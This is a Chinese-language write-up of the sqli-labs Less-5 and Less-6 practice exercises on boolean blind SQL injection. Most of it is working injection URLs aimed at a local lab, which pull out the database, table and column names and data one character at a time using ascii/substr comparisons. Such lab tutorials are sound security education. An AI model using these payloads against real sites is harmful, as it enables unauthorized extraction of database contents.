sqli-labs--Less-5 和 Less-6 SQL盲注
判断注入点
测试:http://localhost/sqli-labs-master/Less-5/?id=1a
和http://localhost/sqli-labs-master/Less-5/?id=-1a
可以看到,是一个字符型注入,并且只会回显正确和错误
,这里就用到了SQL盲注
SQL盲注
SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注是攻击者无法获取页面上回显的结果,甚至注入语句都不知道是什么,因此盲注的难度比一般注入高得多。目前网络上现存的SQL注入漏洞大多数也就是SQL盲注。
SQL盲注的思路
与普通注入不同的是程序只会回显正确和错误,有时候连正确和错误都没有,所以你可以构造,你问程序,数据库的第一个字母是不是a之类的,根据机器回复的正确和错误达到我们想要的结果,流程差不多适合普通注入一样的,但是不过要自己一个一个猜解数据库,表,字段,字段内容的名称,非常的繁琐。
获取当前数据库名
想要获取数据库名,首先我们要先知道数据库的
长度
,然后在一个字符一个字符的猜解数据库的名称
猜解数据库的长度
这里使用到了 length 函数,我们在 mysql 中测试
可以看到 length()函数可以判断一个字符的长度
配合 database()函数,database函数是显示当前数据库
嵌套判断使用比较符
判断数据库的长度
MySQL语句:select length(database());
查看当前数据库的长度
可以看到,通过比较符返回的结果为 0 和 1,0 就是 False,1 就是 True,所以,如果猜测正确的话,会返回结果,猜测错误的话,不会返回结果
测试:http://localhost/sqli-labs-master/Less-5/?id=1' and length(database())>100 --+
可以看到,没有返回结果,由于我们测试,所以尽量,猜大一点,以免我们注入语句错误,走弯路
继续测试:http://localhost/sqli-labs-master/Less-5/?id=1' and length(database())>1 --+
返回结果,代表数据库长度大于 1
继续测试:http://localhost/sqli-labs-master/Less-5/?id=1' and length(database())=8 --+
猜解时最好采用二分法,这里不在一一猜解,最后数据库的长度为8
猜解数据库的名称
这里使用到了 ascii()函数,在MySQL中测试
MySQL语句:select ascii('a');
查看 a 字符的 ascii 表对应的数
可以看到 a 的 ascii 表对应的是 97
另一函数 substr()函数,在MySQL中测试
MySQL语句:select substr(‘2021-10-6’,1,1);
将字符串 2021-10-6 字符串从第一个开始,从第一个结束的 2 筛选出来
可以看到 substr()函数会将指定下表的字符筛选出来,第一个值是 字符串,第二个值是 从那个下标开始,第三个值是到那个下标结束(注意:substr函数的下标从 1 开始)
那么 ascii()函数 和 substr()函数 嵌套就是,选取一个字符串,计算它的ascii表的大小
MySQL语句:select ascii(substr('abcdefg',1,1));
可以看到筛选到第一个字符 a 然后计算出了 a 的 ascii 值得大小为 97
当然,计算出ascii大小后,页面也不会返回,只会返回正确和错误,所以我们要继续使用比较符的True和False来判断返回的ascii值的大小
通过比较,可以看出,a的ascii值得大小为97
猜解数据库名的第一个字符
测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr(database(),1,1)) >1 --+
猜解数据库名的第一个字符的ascii值大于1
继续测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr(database(),1,1)) >1000 --+
猜解数据库名的第一个字符的ascii值大于1000
测试可以看出,数据库的第一个字符的ascii值在1~1000之间,这只是一个测试,最后通过二分法,不断猜测
测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr(database(),1,1)) =115 --+
返回正确,得到数据库名的第一个字符的ascii值为115
通过mysql中的char()函数进行ascii解密
得到115对应的字符串为 s
猜解数据库名的第二个字符
测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr(database(),2,1)) =101 --+
使用char()函数解开ascii值得到数据库名的第二个字符
得到数据库名的第二个字符为 e,后续操作就是改变substr函数的第二个值,来一一猜解八位的数据库名,最后得到数据库名为 security
猜解数据库中的表名
想要知道数据库中的表名,首先要知道数据库中表的数量,然后猜解数据库表的长度,然后一一将表的长度,名称猜解出来,非常的繁琐
猜解security数据库中的表的数量
这里使用了mysql中的
count()
函数
count()
函数会计算出一共有多少行
测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')>1 --+
查看security数据库中表的数量是否大于1,正确
继续测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')>8 --+
查看security数据库中表的数量是否大于8,错误
最后测试出security数据库数据库中表的数量为4
猜解security数据库中第一个表名的长度
测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)>1 --+
猜解security数据库中第一个表名的长度是否大于1,正确
继续测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)> 10 --+
猜解security数据库中第一个表名的长度是否大于10,错误
最后得到结果,security数据库中第一个表的长度为6
猜解security数据库中第一个表的名称
猜解第一个字符
测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1 --+
猜解security数据库中第一个表的第一个字符的ascii值是否大于1
测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1000 --+
猜解security数据库中第一个表的第一个字符的ascii值是否大于1000
最后的得到结果,security数据库中第一个表的第一个字符的ascii值为101
101对应的十进制字符为e
猜解第二个字符
测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109--+
得到security数据库中第一个表的第二个字符的ascii值为109
最后得到security第一个表的名称为emails
猜解字段名
猜解security数据库中emails中的字段的数量
测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails')=2 --+
得到emails表下有两个字段
猜解security数据库中emails中第一个字段的长度
测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1)=2 --+
得到security数据库中emails中第一个字段的长度为2
猜解security数据库中emails中第一个字段的名称
猜解第一个字符的ascii值
测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1))=105 --+
得到第一个字符的ascii值为105,十进制就是i
猜解第二个字符的ascii值
测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),2,1))=100 --+
得到第二个字符的ascii值为100,十进制就是d
猜解字段的内容
猜解security数据库中emails中id字段的内容
id字段的第一个字符的ascii值
测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select group_concat(id) from emails limit 0,1),1,1))=49 --+
得到id字段的第一个字符的ascii值为49,十进制值就是1
这样依次类推可以得到id列的所有值,注意,这里我只是猜解了当前数据库security中的第一个表emails中的第一个字段id列的第一行的内容,后续还有很多操作,这里不在列举
Less-6
Less-6和Less-5的是一样的布尔注入,不过闭合方式由
'
号换为了"
号